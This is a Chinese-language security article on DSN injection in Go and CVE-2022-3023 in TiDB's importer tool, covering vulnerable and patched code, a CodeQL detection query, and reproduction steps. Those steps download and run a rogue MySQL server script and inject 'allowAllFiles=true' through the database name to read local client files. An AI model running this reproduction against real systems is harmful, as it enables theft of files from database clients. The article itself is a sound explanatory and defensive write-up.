DSN Injection(CVE-2022-3023)

news2024/9/25 15:29:55

DSN

DSN通常指数据源名称(Data Source Name),它被用于存储数据库连接信息,如数据库服务器的地址、数据库名、用户名以及密码等,以便软件能够利用这些信息连接到数据库。

DSN Injection

DSN注入(DSN Injection)指测试者通过向Web应用程序或其他软件的数据源名称(DSN)输入不安全的数据,试图影响程序对数据库的连接和查询。由于DSN包含了用于访问数据库的凭证和路径信息,通过注入可以让测试者绕过身份验证,窃取数据,甚至可能对数据库执行非法操作。

代码示例

问题代码

func bad() interface{} {
    name := os.Args[1:]
    // This is bad. `name` can be something like `test?allowAllFiles=true&` which will allow an attacker to access local files.
    dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", "username", "password", "127.0.0.1", 3306, name)
    db, _ := sql.Open("mysql", dbDSN)
    return db
}

代码的功能是创建数据库(DSN)连接字符串,并尝试利用这个字符串打开MySQL数据库的连接。不过,代码实现中存在安全隐患,可能导致DSN注入:

1.从命令行参数获取数据库名name。

2.name没有进行任何的验证和清理。

3.使用name构建dbDSN字符串,连接数据库时可能会执行包含在name中的额外参数。

4.其中的注释指出,如果输入的name包含如test?allowAllFiles=true& 的内容,可能使测试者访问本地文件。

正确代码

func good() (interface{}, error) {
    name := os.Args[1]
    hasBadChar, _ := regexp.MatchString(".*[?].*", name)

    if hasBadChar {
        return nil, errors.New("Bad input")
    }

    dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", "username", "password", "127.0.0.1", 3306, name)
    db, _ := sql.Open("mysql", dbDSN)
    return db, nil
}

这段代码试图改进之前版本的函数,目的是创建和打开一个安全的MySQL数据库连接:

1.从命令行参数获取数据库名name。

2.使用正则表达式检查name是否含有问号?;如果含有,可能是不安全或恶意输入,此时函数返回nil和一个错误。

3.如果输入通过验证,使用name构建DSN连接字符串dbDSN。

4.尝试使用dbDSN通过sql.Open打开数据库连接。

5.返回数据库连接db或者nil,以及一个对应的错误error。

CVE-2022-3023

漏洞描述

TiDB服务器(importer命令行工具)在6.4.0版本之前和6.1.3版本之前存在DSN注入漏洞。用于生成和插入数据库数据的数据库名称没经过任何清理就并入DSN中,导致任意文件读取。

TiDB Importer

TiDB Importer是一个用于快速导入大量数据到TiDB数据库的工具。它通常与TiDB Lightning 配合使用,其中TiDB Lightning负责将数据转换为TiKV可以理解的格式,而TiDB Importer则将这些数据实际导入到TiKV集群中。

漏洞分析

漏洞修复的补丁在这里:

https://github.com/pingcap/tidb/commit/d0376379d615cc8f263a0b17c031ce403c8dcbfb

看看主要修改的内容:

图片

原来会使用fmt.Sprintf的方式拼接dsn:

dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", cfg.User, cfg.Password, cfg.Host, cfg.Port, cfg.Name)
db, err := sql.Open("mysql", dbDSN)

1.而cfg.Name表示直接从配置文件中读取database name,没有经过任何清理;

2.现在已经改成了使用cfg配置登录的模式,类似预编译:

driverCfg := mysql2.NewConfig()
driverCfg.User = cfg.User
driverCfg.Passwd = cfg.Password
driverCfg.Net = "tcp"
driverCfg.Addr = cfg.Host + ":" + strconv.Itoa(cfg.Port)
driverCfg.DBName = cfg.Name

c, err := mysql2.NewConnector(driverCfg)

漏洞复现

首先拉取tidb的源码:

git clone https://github.com/pingcap/tidb.git

切换到有漏洞的版本:

git checkout tags/v6.1.2

构建importer

cd tidb/cmd/importer
go build .

配置Rogue MySQL服务器,启动服务:

wget -q https://github.com/allyshka/Rogue-MySql-Server/raw/master/roguemysql.php
# 运行 Rogue-MySql-Server 脚本
php roguemysql.php /path/to/target/file

图片

修改config.toml文件:

[db]
host = "127.0.0.1"
user = "root"
password = ""
name = "test?allowAllFiles=true&"
port = 3306

执行importer, 可以看到已经读取了客户端文件,并回显了文件内容:

./importer -config config.toml

图片

CodeQL查询分析

污点分析模型构建

定义Source抽象类:

abstract class Source extends DataFlow::Node { }

定义了一个名为DsnInjectionConfig的私有模块,它实现了DataFlow::ConfigSig接口。DataFlow::ConfigSig是CodeQL中用于配置数据流分析的接口:

private module DsnInjectionConfig implements DataFlow::ConfigSig {
  predicate isSource(DataFlow::Node source) { source instanceof Source }

  predicate isSink(DataFlow::Node sink) {
    exists(DataFlow::CallNode c |
      c.getTarget().hasQualifiedName("database/sql", "Open") and
      c.getArgument(0).getStringValue() = "mysql"
    |
      sink = c.getArgument(1)
    )
  }

  predicate isBarrier(DataFlow::Node node) { node instanceof RegexpCheckBarrier }
}

DsnInjectionConfig指定数据流分析的三个主要组件:源(source),汇(sink)和阻断点(barrier)。其中source为:

predicate isSource(DataFlow::Node source) { source instanceof Source }

这个谓词定义的那些节点应当被视为污染源。在这里,任何Source类型的 DataFlow::Node都被当做是污染源。

sink为:

  predicate isSink(DataFlow::Node sink) {
    exists(DataFlow::CallNode c |
      c.getTarget().hasQualifiedName("database/sql", "Open") and
      c.getArgument(0).getStringValue() = "mysql"
    |
      sink = c.getArgument(1)
    )
  }

首先,查询中存在一个DataFlow::CallNode c,即一个函数或方法调用的数据流节点。

这个节点c调用的目标函数或方法拥有具体的限定名称"database/sql", "Open",指的是Go标准库中用于打开数据库连接的Open函数。

查询检查这个Open函数调用的第一个实际参数(索引为0)的字符串值是否等于"mysql",确认是否正准备打开一个MySQL数据库的连接。

如果上述条件均满足,那么此Open调用的第二个实际参数(索引为1)即为DSN字符串,被认为是一个污染汇,因为在构造DSN时可能会被注入恶意内容。

barrier为:

predicate isBarrier(DataFlow::Node node) { node instanceof RegexpCheckBarrier

查询代码

再看看实际的查询代码:

import go
import DsnInjectionCustomizations
import DsnInjectionFlow::PathGraph

/** An untrusted flow source taken as a source for the `DsnInjection` taint-flow configuration. */
private class UntrustedFlowAsSource extends Source instanceof UntrustedFlowSource { }

from DsnInjectionFlow::PathNode source, DsnInjectionFlow::PathNode sink
where DsnInjectionFlow::flowPath(source, sink)
select sink.getNode(), source, sink, "Data-Source Name is built using $@.", source.getNode(),
  "untrusted user input"

可以详细解读一下这段查询语句,分成三部分:

from子句:

from DsnInjectionFlow::PathNode source, DsnInjectionFlow::PathNode sink

这定义了查询的起点和终点。

source和sink是DsnInjectionFlow::PathNode的实例,分别表示污点传播路径的源头和终点。

where子句:

where DsnInjectionFlow::flowPath(source, sink)

这里过滤出了实际存在污点传播的路径。

DsnInjectionFlow::flowPath是一个谓词,当数据流从source节点成功到达sink节点时,这个谓词返回真。

select子句:

select sink.getNode(), source, sink, "Data-Source Name is built using $@.", source.getNode(), "untrusted user input"

sink.getNode()返回数据污染的终节点,通常是一个表达式或者调用节点。

source和sink分别返回表示传播路径起点和终点的PathNode。在CodeQL中,PathNode代表数据流路径中的节点。

"Data-Source Name is built using $@."是一段输出信息,用于在找到问题时告知用户。$@是一个占位符,它会被随后的参数替换。

source.getNode()是$@的替换内容,表示污点源的节点。

"untrusted user input"是source.getNode()的标签描述,通知用户该节点是不可信的用户输入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1644550.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Web安全:SQL注入漏洞详解,SQL注入常见功能、危害、分类、判断注入点、注入方式

「作者简介」:2022年北京冬奥会网络安全中国代表队,CSDN Top100,就职奇安信多年,以实战工作为基础对安全知识体系进行总结与归纳,著作适用于快速入门的 《网络安全自学教程》,内容涵盖系统安全、信息收集等…

nginx--rewrite

功能 Nginx服务器利用ngx_http_rewrite_module 模块解析和处理理rewrite请求,此功能依靠PCRE(Perl Compatible Regular Expressions),因此编译之前要安装PCRE库,rewrite是nginx服务器的重要功能之一,用于实现URL的重写&#xff0…

上位机图像处理和嵌入式模块部署(树莓派4b下ros安装方法)

【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 随着嵌入式开发板算力越来越强,很多的同学开始用树莓派做一些ros开发的工作。目前来说,ros有两个版本,分别是ro…

ChatGPT 4.0 直接用 !!!Code Copilot编程大模型、DALL-E AI绘图、绘制流程图、上传文件

嗨,你好呀,我是哪吒。 这一年最让人揪心的热点,就是各种层出不穷的AI技术。 原以为它只是短暂霸屏,但现实却赤裸裸展示了,什么叫AI抢走你的饭碗,连招呼都不打一声! 什么策划方案、公众号文案、营销卖点、…

电脑切换窗口快捷键,让你轻松驾驭多个任务

在使用电脑时,经常需要切换不同的窗口,以便快速地访问不同的应用程序或任务。为了提高效率,掌握一些电脑切换窗口快捷键是非常重要的。本文将介绍三种在电脑上切换窗口的方法,帮助您更加高效地进行多任务处理。 方法1:…

SAP PP学习笔记11 - PP中的MRP相关概念,参数,配置

上文讲了作业区的概念及配置。 SAP PP学习笔记08 - 作业区(工作中心Work Center),作业区Customize-CSDN博客 SAP PP学习笔记09 - 作业区(工作中心Work Center)Customize2(管理码,班次顺序&…

菜鸡学习netty源码(五)—— EventLoop

1.EventLoop的类关系图 2. EventExecutor /*** 返回自身的对象* Returns a reference to itself.*/OverrideEventExecutor next();/*** 获取所属的EventExecutorGroup* Return the {link EventExecutorGroup} which is the parent of this {link EventExecutor},*/EventExecuto…

EPICS DataBase详解

1、分布式EPICS设置 1) 操作界面:包括shell命令行方式(caget, caput, camonitor等)和图形界面方式(medm, edm, css等)。 2)输入输出控制器(IOC) 2、IOC 1) 数据库:数据流,基本上周期运行 2)sequencer:基…

ThingsBoard如何接受设备通过TCP发送的报文

1、概述 2、案例 2.1、阐述 2.2、导入依赖 2.3、构建Netty服务链接,接受的端口为8092 2.4、对数据进行相应的处理发送到ThingsBoard客户端 2.5、通过TCP链接工具 ​2.6、查看遥测数据 1、概述 TCP(Transmission Control Protocol,传输…

关于 c++的模板库中的数组模板 is_array_v的测试

&#xff08;1&#xff09;该模板的源代码如下&#xff1a; template <class> // determine whether type argument is an array bool is_array_v false;template <class _Ty, size_t _Nx> bool is_array_v<_Ty[_Nx]> true;template <class _Ty>…

屏蔽罩材质和厚度对屏蔽效能的影响

​ 一&#xff0e;屏蔽效能的影响因素 屏蔽效能的影响因素主要有两个方面&#xff1a;屏蔽材料的特性和厚度&#xff1b;如下图所示&#xff0c;电磁波经过不同媒介时&#xff0c;会在分界面形成反射&#xff0c;穿过界面的电磁波一部分被反射回去&#xff0c;这部分能量损失…

nginx--反向代理

反向代理 指的是代理外网用户的请求到内部的指定web服务器器&#xff0c;并将数据返回给用户的一种方式&#xff0c;这是用的比较多的一种方式 模块和功能 ngx_http_proxy_module&#xff1a; 将客户端的请求以http协议转发至指定服务器进行处理。ngx_stream_proxy_module&…

自学错误合集--MessageSource国际化接口

java后端自学错误总结 一.MessageSource国际化接口总结 一.MessageSource国际化接口 今天第一次使用MessageSource接口,比较意外遇到了一些坑 messageSource是spring中的转换消息接口&#xff0c;提供了国际化信息的能力。MessageSource用于解析 消息&#xff0c;并支持消息的…

hadoop启动后没有namenode,datanode等解决方法

之前用的是虚拟机&#xff0c;在虚拟机上安装的hadoop&#xff0c;但是后来&#xff0c;电脑恢复出厂设置了&#xff0c;什么都重新开始。就在本地安装 Linux 子系统。 但是&#xff0c;有时候start-dfs.sh后&#xff0c;jps出现错误。 像这种拒绝连接 解决办法就是如下&…

智慧隧道建设中,如何提升隧道广播清晰度,解决隧道广播有效发布问题

近年来&#xff0c;我国高速公路智慧隧道建设步伐加快&#xff0c;全国各地高速公路运营单位纷纷加大投资力度&#xff0c;进行智慧隧道建设&#xff0c;提高隧道智能化水平。通过高清视频监控、AI视频识别、雷视融合、全域轨迹、激光雷达、火灾报警、气体检测、亮度检测、自动…

倪海厦(二)以果决其行,放空自己。

研究任何学问&#xff08;事物&#xff09;&#xff0c;批判去看&#xff0c;假设--验证--结果。以果决其行&#xff01;&#xff01;&#xff01;放空自己。学而后思&#xff0c;思学并进。 其实总结下来&#xff0c;也正如倪老师所说&#xff0c;以果决其行&#xff0c;我们…

STM32F1之FLASH闪存

目录 1. 简介 2. 闪存模块组织 3. FLASH基本结构 4. FLASH解锁 5. 使用指针访问存储器 6. 程序存储器全擦除 7. 程序存储器页擦除 8. 程序存储器编程 9. 选项字节 1. 简介 STM32F1系列的FLASH包含程序存储器、系统存储器和选项字节三个部分&#xff0c;通过…

第 129 场 LeetCode 双周赛题解

A 构造相同颜色的正方形 枚举&#xff1a;枚举每个 3 3 3\times 3 33的矩阵&#xff0c;判断是否满足条件 class Solution {public:bool canMakeSquare(vector<vector<char>>& grid) {for (int i 0; i < 2; i)for (int j 0; j < 2; j) {int c1 0, c…

一款 NodeJS 版本管理工具 NVM (Windows)

一、简介 Node Version Manager&#xff08;NVM&#xff09;是一种用于管理多个 NodeJS 版本的工具。在日常工作中&#xff0c;我们可能同时在进行多个不同的项目开发&#xff0c;每个项目的需求不同&#xff0c;依赖与不同版本的NodeJS 运行环境。这种情况下&#xff0c;维护…